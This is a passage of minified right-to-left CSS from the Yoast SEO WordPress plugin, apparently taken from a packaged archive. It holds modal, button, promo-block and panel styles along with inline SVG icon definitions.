10px}.yoast-section__heading-icon-list{background-image:var(--yoast-svg-icon-list)}.yoast-section__heading-icon-key{background-image:var(--yoast-svg-icon-key)}.yoast-section__heading-icon-edit{background-image:var(--yoast-svg-icon-edit)}.yoast-tooltip.yoast-tooltip-hidden:after,.yoast-tooltip.yoast-tooltip-hidden:before{display:none}.screen-reader-text.wpseo-generic-tab-textual-score,.screen-reader-text.wpseo-keyword-tab-textual-score{display:block}.yoast-notice-go-premium{background:#f1f1f1;border-right-color:#a4286a;margin:0}@media screen and (max-width:782px){.wpseo-metabox-buy-premium .wpseo-buy-premium{display:inline-block;height:20px;margin-left:5px;padding:0;width:20px}.yoast-help-panel{max-width:none!important}#wpseo-crawl-issues-table-form .subsubsub{float:none;max-width:calc(100vw - 20px)}#wpseo-crawl-issues-table-form .yoast-help-button{margin-top:3px}.wpseotab select[multiple]{height:auto!important}}@media screen and (max-width:600px){.wpseotab.content{padding:16px 0}}.wpseo-score-icon-container{align-items:center;display:flex;height:20px;justify-content:center;margin-left:8px;width:20px}.yoast-seo-sidebar-panel .yoast-analysis-check{display:flex}.yoast-seo-sidebar-panel .yoast-analysis-check svg{margin-left:5px;margin-top:6px}.yoast-seo-sidebar-panel .yoast-analysis-check span{line-height:1.5;margin-top:3px}.yoast-seo-sidebar-panel div{line-height:2}.yoast-seo-sidebar-panel div svg{vertical-align:middle}ul.yoast-seo-social-share-buttons li{display:inline-block;margin-left:24px}ul.yoast-seo-social-share-buttons li .x-share svg{fill:#000;height:30px;width:30px}ul.yoast-seo-social-share-buttons svg{height:32px;margin-bottom:8px;width:32px}ul.yoast-seo-social-share-buttons a{align-items:center;display:flex;flex-direction:column}.yoast-field-group.yoast-wincher-post-publish{margin-bottom:10px}.edit-post-pinned-plugins button.components-button:not(.is-compact)[aria-label="Yoast SEO Premium"]>svg,.edit-post-pinned-plugins button.components-button:not(.is-compact)[aria-label="Yoast SEO"]>svg,div.interface-pinned-items button.components-button:not(.is-compact)[aria-label="Yoast SEO Premium"]>svg,div.interface-pinned-items button.components-button:not(.is-compact)[aria-label="Yoast SEO"]>svg{height:28px;max-height:28px;max-width:28px;width:28px}div.interface-pinned-items button.components-button.is-pressed[aria-label="Yoast SEO Premium"]>svg path,div.interface-pinned-items button.components-button.is-pressed[aria-label="Yoast SEO"]>svg path{fill:#fff}.wpseo-schema-icon{align-items:center;background-image:var(--yoast-svg-icon-schema);background-size:cover;display:flex;height:16px;justify-content:center;margin-left:8px;width:16px}.wpseo-metabox-menu ul li.active a .wpseo-schema-icon{background-image:var(--yoast-svg-icon-schema-active)}.yoast-icon-span svg{fill:inherit;margin-left:8px}.yoast.components-panel__body{border-top:0}.components-button>.yoast-title-container{flex-grow:1;line-height:normal;overflow-x:hidden}.yoast-title-container>.yoast-subtitle,.yoast-title-container>.yoast-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.yoast-title-container>.yoast-subtitle{font-size:.8125rem;font-weight:300;margin-top:2px}.yoast.components-panel__body .yoast-chevron{background-color:#1e1e1e;display:inline-block;height:24px;-webkit-mask-image:var(--yoast-svg-icon-chevron-down);mask-image:var(--yoast-svg-icon-chevron-down);-webkit-mask-size:100% 100%;mask-size:100% 100%;width:24px}.yoast.components-panel__body.is-opened .yoast-chevron{-webkit-mask-image:var(--yoast-svg-icon-chevron-up);mask-image:var(--yoast-svg-icon-chevron-up)}.yoast .components-panel__body-toggle{padding-left:16px}.yoast .components-form-token-field__remove-token.components-button,.yoast .components-form-token-field__token-text{background-color:var(--yoast-color-primary);color:var(--yoast-color-white)}.yoast .yoast-insights{color:#404040}.yoast .yoast-insights .yoast-field-group__title>b{color:var(--yoast-color-primary);font-size:16px;font-weight:var(--yoast-font-weight-default);line-height:1.2em}.yoast .yoast-insights-card__score{color:var(--yoast-color-primary);margin-block:0}.yoast .yoast-insights-card__description{line-height:1.4em}.yoast .yoast-prominent-words p,.yoast .yoast-prominent-words ul,.yoast .yoast-text-formality p{margin-block:1.2em}.yoast #wpseo-metabox-root .yoast-prominent-words{border-bottom:1px solid #0000001a;margin-bottom:24px;padding-bottom:24px}.yoast .yoast-insights .yoast-data-model--upsell li{color:#bbb}.yoast .yoast-insights .yoast-data-model--upsell li:after{background:#fdf4f8}wordpress-seo/css/dist/yoast-extensions-2420-rtl.css000064400000066347147510273070016373 0ustar00.yoast-modal__screen-overlay{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;background-color:#a4286a99;bottom:0;right:0;position:fixed;left:0;top:0;z-index:100000}.yoast-modal{background:#fff;bottom:48px;display:flex;flex-direction:column;height:calc(100% - 96px);right:calc(50% - 440px);max-width:880px;overflow:hidden;position:fixed;top:48px;width:100%}.yoast-gutenberg-modal .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:20px;margin-left:8px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:20px}.yoast-tabs .yoast-modal__content{display:grid;grid-template-areas:"heading heading" "menu content" "menu footer";grid-template-columns:280px 1fr;grid-template-rows:72px 1fr 88px}.yoast-modal__heading{align-items:center;background:var(--yoast-color-white);border-bottom:var(--yoast-border-default);box-sizing:border-box;display:flex;grid-area:heading;min-height:72px;padding:0 24px}.yoast-modal__heading .yoast-close{position:absolute;left:16px}.yoast-gutenberg-modal__box.components-modal__frame{box-shadow:0 20px 25px -5px #0000001a,0 8px 10px -6px #0000001a}@media (min-width:600px){.yoast-gutenberg-modal__box.components-modal__frame{border-radius:8px;max-height:calc(100% - 48px)}}.yoast-gutenberg-modal__no-padding .components-modal__content{padding:0}.yoast-gutenberg-modal .components-modal__header-heading,.yoast-modal__heading h1{color:var(--yoast-color-primary);font-size:20px;font-weight:400;line-height:1.2;margin:0}.yoast-gutenberg-modal .components-modal__content .components-modal__header{border-bottom:1px solid #e2e8f0!important}.yoast-gutenberg-modal .components-modal__icon-container{display:inline-flex}.yoast-gutenberg-modal .components-modal__icon-container svg,.yoast-modal__heading-icon{fill:var(--yoast-color-primary);flex-shrink:0;height:20px;margin-left:16px;width:19px}.yoast-modal__menu{border-left:var(--yoast-border-default);grid-area:menu;overflow-y:auto}.yoast-modal__menu ul{list-style:none;margin:0;padding:0}.yoast-modal__menu li{border-bottom:var(--yoast-border-default);color:var(--yoast-color-default);cursor:pointer;display:block;font-size:16px;padding:12px 16px 11px;text-decoration:none}.yoast-modal__menu li:hover{background-color:#edd4e1}.yoast-modal__menu li.yoast-tabs__tab--selected{background-color:var(--yoast-color-primary);border-bottom:var(--yoast-border-default);color:#fff}.yoast-modal__content,.yoast-modal__section{display:flex;flex-direction:column;flex-grow:1;grid-area:content;overflow-y:auto;position:relative}.yoast-modal__section *{max-width:600px}.yoast-modal__section-header{background:var(--yoast-color-white);padding:24px 24px 0;position:sticky;top:0;z-index:10}.yoast-modal__section .yoast-h2{border-bottom:var(--yoast-border-default);padding-bottom:24px}.yoast-modal__footer{align-items:center;align-self:flex-end;background:var(--yoast-color-white);border-top:var(--yoast-border-default);bottom:0;box-sizing:border-box;display:flex;grid-area:footer;justify-content:flex-end;margin:0 24px;min-height:88px;padding:0;position:sticky;width:calc(100% - 48px);z-index:10}.yoast-modal__settings-saved{align-items:center;display:inline-flex;margin-left:16px;position:relative}.yoast-modal__settings-saved:before{background:var(--yoast-checkmark--green) no-repeat center;content:"";display:inline-block;height:13px;margin-left:8px;width:14px}.yoast-modal__footer .yoast-button{display:block}.yoast-modal__section-content{flex-grow:1;padding:24px}@media screen and (max-width:880px){.yoast-modal{bottom:0;height:auto;right:0;left:0;top:0}}@media screen and (max-width:782px){.yoast-modal{overflow-y:initial}.yoast-modal.yoast-modal-collapsible{padding-bottom:72px}.yoast-tabs .yoast-modal__content{grid-template-rows:48px 1fr 72px}.yoast-modal__heading{min-height:48px;padding:0 16px;position:fixed;top:0;width:100%;z-index:11}.yoast-modal__heading h1{font-size:var(--yoast-font-size-default)}.yoast-close svg{width:10px}.yoast-modal__heading-icon{height:15px;margin-left:8px}.yoast .yoast-close{left:3px}.yoast-modal__heading .yoast-h2{font-size:var(--yoast-font-size-default)}.yoast-modal__section{flex-grow:0;overflow:initial}.yoast-modal__section-content{margin:0 16px;padding:24px 0}.yoast-modal__section:first-of-type{margin-top:48px}.yoast-modal__section:last-of-type{margin-bottom:72px}.yoast-modal__section-header{margin:0;padding:0;position:sticky;top:48px}.yoast-modal__section-open .yoast-modal__section-header{margin-right:16px;margin-left:16px;padding-right:0;padding-left:0}.yoast-modal__section-open{border-bottom:var(--yoast-border-default)}.yoast-modal__footer{margin:0;min-height:72px;padding:0 16px;position:fixed;width:100%;z-index:11}.yoast-modal-collapsible .yoast-modal__footer{min-height:72px}.yoast-modal-collapsible .yoast-modal__section-content{border-bottom:var(--yoast-border-default);margin:0;padding:24px 16px}.yoast-collapsible__hidden{display:none}.yoast-collapsible__trigger{background:#fff;border:none;border-bottom:var(--yoast-border-default);color:var(--yoast-color-primary);cursor:pointer;font-size:var(--yoast-font-size-default);justify-content:space-between;padding:16px;text-align:right;width:100%}.yoast-collapsible__trigger[aria-expanded=true] .yoast-collapsible__icon{transform:rotate(-180deg)}.yoast-collapsible__trigger[aria-expanded=true]{margin:0 16px;padding:16px 0;width:calc(100% - 32px)}.yoast-collapsible__icon{background-color:var(--yoast-color-white);background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 8' fill='%23404040'%3E%3Cpath d='M1.4 0 6 4.6 10.6 0 12 1.4 6 7.5 0 1.4z'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:10px auto;border:none;display:block;float:left;height:19px;width:19px}.yoast-collapsible-block{margin-top:48px;width:100%}.yoast-collapsible-block+.yoast-collapsible-block{margin-top:0}}.yoast-post-settings-modal{height:100%;max-height:calc(100% - 96px);max-width:calc(100% - 96px);overflow:hidden;width:880px}.yoast-modal-content{padding:16px}@media (min-width:782px){.yoast-modal-content--columns{grid-gap:24px;display:grid;grid-template-columns:1fr 1fr}}.yoast-post-settings-modal__button-container{border-bottom:1px solid #0003;display:flex;flex-direction:column;padding:16px}.yoast-post-settings-modal .components-modal__content{display:flex;flex-direction:column;padding:0}.yoast-post-settings-modal .components-modal__header{border-bottom:var(--yoast-border-default);flex-shrink:0;margin:0}.yoast-post-settings-modal .yoast-notice-container{bottom:0;right:0;margin-top:auto;position:sticky;width:100%;z-index:1}.yoast-post-settings-modal .components-modal__content>div:not([class]):not([class=""]){display:flex;flex-direction:column;overflow:hidden}.yoast-post-settings-modal .yoast-notice-container>hr{margin-bottom:0;margin-top:-1px}.yoast-post-settings-modal .yoast-content-container{flex-grow:1;overflow-y:auto}.yoast-post-settings-modal .yoast-button-container{display:flex;flex-direction:row;justify-content:flex-end;margin:0;padding:24px}.yoast-post-settings-modal .yoast-button-container p{align-self:center;color:var(--yoast-color-label-help);padding-left:24px}.yoast-post-settings-modal .yoast-button-container button{align-self:center;flex-shrink:0;max-height:45px}@media only screen and (max-width:600px){.yoast-post-settings-modal{max-height:100%;max-width:100%}.yoast-post-settings-modal .yoast-button-container{justify-content:space-between;padding:16px}.yoast-post-settings-modal .yoast-button-container p{padding-left:0}}.yoast-related-keyphrases-modal,.yoast-wincher-seo-performance-modal{max-width:712px}.yoast-wincher-seo-performance-modal__content{padding:25px 32px 32px}#yoast-get-related-keyphrases-metabox,#yoast-get-related-keyphrases-sidebar{margin-top:8px}.yoast-gutenberg-modal .yoast-related-keyphrases-modal__content{min-height:66vh;position:relative}.yoast-related-keyphrases-modal__chart{display:block}:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}.yoast-list--usp{font-family:Arial,sans-serif;margin-bottom:2rem;padding:0}.yoast-list--usp li{list-style:none!important;padding-right:1.2533333333rem;position:relative}.yoast-list--usp li:before{color:#77b227;content:"\f00c\0020";font-family:FontAwesome,Open Sans,Arial,sans-serif;right:0;position:absolute;top:0}.yoast .h1,.yoast .h2,.yoast .h3,.yoast .h4,.yoast .h5,.yoast .h6,.yoast h1,.yoast h2,.yoast h3,.yoast h4,.yoast h5,.yoast h6{display:block;font-family:Arial,sans-serif;font-weight:300;margin-top:0}.yoast .h1,.yoast h1{font-size:2.5em;letter-spacing:normal;line-height:3.68rem;margin-bottom:1.35rem}@media only screen and (min-width:30rem){.yoast .h1,.yoast h1{font-size:2.75em}}.yoast .h2,.yoast h2{font-size:1.88em;line-height:2.5rem;margin-bottom:1.2rem}.yoast .h2.tight,.yoast h2.tight{margin-bottom:.6rem}.yoast .h3,.yoast h3{font-size:1.25em;line-height:1.88rem;margin-bottom:.8rem}.yoast .h3.tight,.yoast h3.tight{margin-bottom:.4rem}@media only screen and (min-width:30rem){.yoast .h3,.yoast h3{font-size:1.375em}}@media only screen and (min-width:50rem){.yoast .h3,.yoast h3{font-size:1.5em}}.yoast .h4,.yoast .h5,.yoast .h6,.yoast h4,.yoast h5,.yoast h6{font-size:1.13em;font-weight:400;line-height:1.88rem;margin-bottom:.2rem}.yoast-button{background-color:initial;background-color:#dc5c04;border:0;color:#dc5c04;cursor:pointer;display:inline-block;font-family:Arial,sans-serif;font-size:1.1em;padding:.345em 1em .345em 1.5em;position:relative;text-decoration:none;width:100%}@media only screen and (min-width:30rem){.yoast-button{margin-left:1.36rem;max-height:2.86rem;width:auto}.yoast-button:after{border-bottom:1.44rem solid #0000;border-right:1.43rem solid #dc5c04;border-left:0;border-top:1.43rem solid #0000;content:"";height:0;position:absolute;left:-1.36rem;top:0;width:0}.yoast-button.left{margin-right:1.36rem;margin-left:0}.yoast-button.left:after{content:none}.yoast-button.left:before{border-bottom:1.44rem solid #0000;border-right:0;border-left:1.43rem solid #dc5c04;border-top:1.43rem solid #0000;content:"";height:0;right:-1.36rem;position:absolute;top:0;width:0}}.yoast-button.alignleft{margin:1rem 0 0 2.5rem!important}.yoast-button .arrow{display:none}.yoast-button+.yoast-button{margin-right:1.88rem;margin-top:1em}.yoast-button--full{width:100%}.yoast-button--full:after{content:none}.yoast-button.default{background-color:#dc5c04;color:#fff}.yoast-button.default:after{border-right-color:#dc5c04}.yoast-button.default:before{border-left-color:#dc5c04}.yoast-button a:focus,.yoast-button:hover{background-color:#f58223;color:#fff;text-decoration:underline}.yoast-button a:focus:after,.yoast-button:hover:after{border-right-color:#f58223}.yoast-button a:focus:before,.yoast-button:hover:before{border-left-color:#f58223}.yoast-button.academy{background-color:#5d237a;color:#fff}.yoast-button.academy:after{border-right-color:#5d237a}.yoast-button.academy:before{border-left-color:#5d237a}@media only screen and (max-width:20rem){.yoast-button.academy{background-color:#5d237a}}.yoast-button.academy--secondary{background-color:#a4286a;color:#fff}.yoast-button.academy--secondary:after{border-right-color:#a4286a}.yoast-button.academy--secondary:before{border-left-color:#a4286a}@media only screen and (max-width:20rem){.yoast-button.academy--secondary{background-color:#a4286a}}.yoast-button.software{background-color:#0075b3;color:#fff}.yoast-button.software:after{border-right-color:#0075b3}.yoast-button.software:before{border-left-color:#0075b3}.yoast-button.review{background-color:#009288;color:#fff}.yoast-button.review:after{border-right-color:#009288}.yoast-button.review:before{border-left-color:#009288}.yoast-button.about{background-color:#d93f69;color:#fff}.yoast-button.about:after{border-right-color:#d93f69}.yoast-button.about:before{border-left-color:#d93f69}.yoast_academy .yoast-button{background-color:#d93f69;color:#fff}.yoast_academy .yoast-button:after{border-right-color:#d93f69}.yoast_academy .yoast-button:before{border-left-color:#d93f69}.yoast_academy .yoast-button a:focus,.yoast_academy .yoast-button:hover{background-color:#d42a59;color:#fff;text-decoration:underline}.yoast_academy .yoast-button a:focus:after,.yoast_academy .yoast-button:hover:after{border-right-color:#d42a59}.yoast_academy .yoast-button a:focus:before,.yoast_academy .yoast-button:hover:before{border-left-color:#d42a59}.yoast_academy .yoast-button.dimmed,body .yoast-button.dimmed{background-color:#dcdcdc;color:#646464}.yoast_academy .yoast-button.dimmed:after,body .yoast-button.dimmed:after{border-right-color:#dcdcdc}.yoast_academy .yoast-button.dimmed:before,body .yoast-button.dimmed:before{border-left-color:#dcdcdc}.yoast_academy .yoast-button.dimmed a:focus,.yoast_academy .yoast-button.dimmed:hover,body .yoast-button.dimmed a:focus,body .yoast-button.dimmed:hover{background-color:#cdcdcd;color:#646464;text-decoration:underline}.yoast_academy .yoast-button.dimmed a:focus:after,.yoast_academy .yoast-button.dimmed:hover:after,body .yoast-button.dimmed a:focus:after,body .yoast-button.dimmed:hover:after{border-right-color:#cdcdcd}.yoast_academy .yoast-button.dimmed a:focus:before,.yoast_academy .yoast-button.dimmed:hover:before,body .yoast-button.dimmed a:focus:before,body .yoast-button.dimmed:hover:before{border-left-color:#cdcdcd}.yoast-button--noarrow:after{content:none}.yoast-button--naked{background-color:initial;border:none;padding:0}.yoast-button--naked:after{content:none}.yoast-button i.fa{font-size:140%;margin:4px 0 0 10px}.yoast-promoblock{border:1px solid #dcdcdc;box-shadow:0 1px 6px 0 #0000004d;margin-bottom:1.88rem;padding:16px}.yoast-promoblock p{color:#000}.yoast-promoblock p:last-of-type{margin-bottom:0}.yoast-promoblock i.blockicon{bottom:10px;font-size:2.25em;padding:0 .5em 0 0;position:absolute;left:10px}.yoast-promoblock a img{border:1px solid #dcdcdc}.yoast-promoblock p a{font-weight:600!important;text-decoration:underline}.yoast-promoblock form a{font-weight:400!important;text-decoration:none}.yoast-promoblock .h4,.yoast-promoblock h4{margin-bottom:.7rem}.yoast-promoblock.link{border-color:#dc5c04}.yoast-promoblock.link a,.yoast-promoblock.link a:hover{color:#dc5c04}.yoast-promoblock--white{border-color:#fff!important}.product .yoast-promoblock{overflow:hidden}.yoast-promoblock--hometitle{background-color:#d93f6940;border-color:#fff!important;display:flex;font-size:16px;font-size:1rem;height:11em;line-height:1;margin:1rem auto 2rem;max-width:16em}@media only screen and (max-width:30rem){.yoast-promoblock--hometitle:after{content:none!important}}.yoast-promoblock--imageholder{margin-bottom:0;padding:0}.yoast-promoblock--imageholdersmall{position:absolute}.yoast-promoblock--imageholdersmall:first-child{right:4rem}.yoast-promoblock--imageholdersmall:last-child{top:4rem}@media only screen and (max-width:50rem){.yoast-promoblock h2{margin-bottom:0}}a.promoblock{color:#000}a.promoblock,a.promoblock:hover{text-decoration:none}.promoblockimage__holder{height:295px;position:relative;width:240px}.yoast{color:#000;font-family:Open Sans,Arial,sans-serif;font-size:1rem;letter-spacing:.01em;line-height:1.88}.yoast *,.yoast :after,.yoast :before{box-sizing:border-box}.yoast-hr{border:0;margin:0;padding-bottom:1.88rem;position:relative}.yoast-list--usp li:before{background:var(--yoast-svg-icon-check) no-repeat;background-position:right .3em;background-size:contain;content:"";height:100%;width:1em}.yoast-button--purple{background-color:#5d237a}.yoast-button-go-to:after{border:none;content:" \00BB";height:auto;position:static;left:auto;top:auto;width:auto}.yoast-button--extension{color:#fff;padding-right:.8em;padding-left:.8em;text-transform:uppercase}.yoast-button--extension+.yoast-button--extension-activated,.yoast-button--extension+.yoast-button--extension-not-activated{margin-right:0}.yoast-button--extension-activated:hover,.yoast-button--extension-installed:hover,.yoast-button--extension-not-activated:hover{text-decoration:none}.yoast-button--extension-installed{margin-left:.2rem}.yoast-button--extension-installed,.yoast-button--extension-installed:hover{background-color:#008a00}.yoast-button--extension-not-activated,.yoast-button--extension-not-activated:hover{background-color:#dc3232}.yoast-button--extension-activated,.yoast-button--extension-activated:hover{background-color:#008a00}.yoast-button-upsell{margin-bottom:1em;width:100%}@media only screen and (min-width:30rem){.yoast-button-upsell{margin-left:1.36rem;width:auto}}.yoast-promo-extensions{display:flex;flex-wrap:wrap;margin-right:-24px}.yoast-promo-extensions>h2{margin-bottom:32px;margin-right:32px;width:100%}.yoast-promo-extension{background-color:#fff;display:flex;flex-direction:column;margin-right:32px;max-width:340px}.yoast-promo-extension:first-child{margin-right:0}.yoast-promo-extension 